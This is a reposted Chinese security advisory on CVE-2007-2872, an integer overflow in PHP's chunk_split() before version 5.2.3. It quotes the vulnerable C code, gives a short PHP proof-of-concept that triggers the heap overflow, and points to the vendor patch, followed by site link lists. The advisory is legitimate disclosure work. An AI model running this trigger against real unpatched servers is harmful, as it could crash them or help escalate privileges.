PHP5.2下chunk_split()函数整数溢出漏洞 分析


Posted in PHP onJune 06, 2007

受影响系统:
PHP PHP < 5.2.3
不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一种流行的WEB服务器端编程语言。

PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }

<*来源:Gerhard Wagner

链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技

PHP 相关文章推荐
用PHP动态创建Flash动画
Oct 09 PHP
初探PHP5
Oct 09 PHP
php Static关键字实用方法
Jun 04 PHP
php编程实现获取excel文档内容的代码实例
Jun 28 PHP
解析PHP汉字转换拼音的类
Jun 18 PHP
关于js和php对url编码的处理方法
Mar 04 PHP
ThinkPHP实现将SESSION存入MYSQL的方法
Jul 22 PHP
PHP+MySQL实现无极限分类栏目的方法
Dec 23 PHP
php实现通过soap调用.Net的WebService asmx文件
Feb 27 PHP
PHP实现的登录页面信息提示功能示例
Jul 24 PHP
PHPCrawl爬虫库实现抓取酷狗歌单的方法示例
Dec 21 PHP
php实现获取近几日、月时间示例
Jul 06 PHP
phpMyAdmin下载、安装和使用入门教程
May 31 #PHP
测试您的 PHP 水平的题目
May 30 #PHP
Discuz板块横排显示图片的实现方法
May 28 #PHP
中国站长站 For Dede4.0 采集规则
May 27 #PHP
MySQL GBK→UTF-8编码转换
May 24 #PHP
Win2003服务器安全加固设置--进一步提高服务器安全性
May 23 #PHP
站长助手-网站web在线管理程序 v1.0 下载
May 12 #PHP
You might like
PHP入门速成教程
2007/03/19 PHP
PHP 表单提交给自己
2008/07/24 PHP
javascript实现焦点滚动图效果 具体方法
2013/06/24 Javascript
JQuery页面图片切换和新闻列表滚动效果的具体实现
2013/09/26 Javascript
js中Image对象以及对其预加载处理示例
2013/11/20 Javascript
js对象继承之原型链继承实例
2015/01/10 Javascript
JavaScript性能优化总结之加载与执行
2016/08/11 Javascript
基于JS快速实现导航下拉菜单动画效果附源码下载
2016/10/27 Javascript
基于AngularJS的简单使用详解
2017/09/10 Javascript
React Native之prop-types进行属性确认详解
2017/12/19 Javascript
JS使用JSON.parse(),JSON.stringify()实现对对象的深拷贝功能分析
2019/03/06 Javascript
jquery3和layui冲突导致使用layui.layer.full弹出全屏iframe窗口时高度152px问题
2019/05/12 jQuery
最简单的vue消息提示全局组件的方法
2019/06/16 Javascript
vue 父组件通过$refs获取子组件的值和方法详解
2019/11/07 Javascript
解决qrcode.js生成二维码时必须定义一个空div的问题
2020/07/09 Javascript
详解ES6 扩展运算符的使用与注意事项
2020/11/12 Javascript
修复 Django migration 时遇到的问题解决
2018/06/14 Python
Python+pyplot绘制带文本标注的柱状图方法
2019/07/08 Python
python 实现将Numpy数组保存为图像
2020/01/09 Python
python实现读取类别频数数据画水平条形图案例
2020/04/24 Python
Python爬虫之Selenium鼠标事件的实现
2020/12/04 Python
Dockers美国官方网站:卡其裤、男士服装、鞋及配件
2016/11/22 全球购物
纽约通行卡:The New York Pass(免费游览纽约90多个景点)
2017/07/29 全球购物
Ticketmaster意大利:音乐会、节日、艺术和剧院的官方门票
2019/12/23 全球购物
硕士研究生个人求职信
2013/12/04 职场文书
数控机械专业个人的自我评价
2014/01/02 职场文书
预备党员综合考察材料
2014/05/31 职场文书
经济类毕业生求职信
2014/06/26 职场文书
毕业实习自我鉴定范文2014
2014/09/26 职场文书
邓小平文选读书笔记
2015/06/29 职场文书
中秋节主题班会
2015/08/14 职场文书
《钓鱼的启示》教学反思
2016/02/18 职场文书
PyQt5 显示超清高分辨率图片的方法
2021/04/11 Python
JavaScript 防篡改对象的用法示例
2021/04/24 Javascript
MYSQL(电话号码,身份证)数据脱敏的实现
2021/05/28 MySQL
pytorch中的torch.nn.Conv2d()函数图文详解
2022/02/28 Python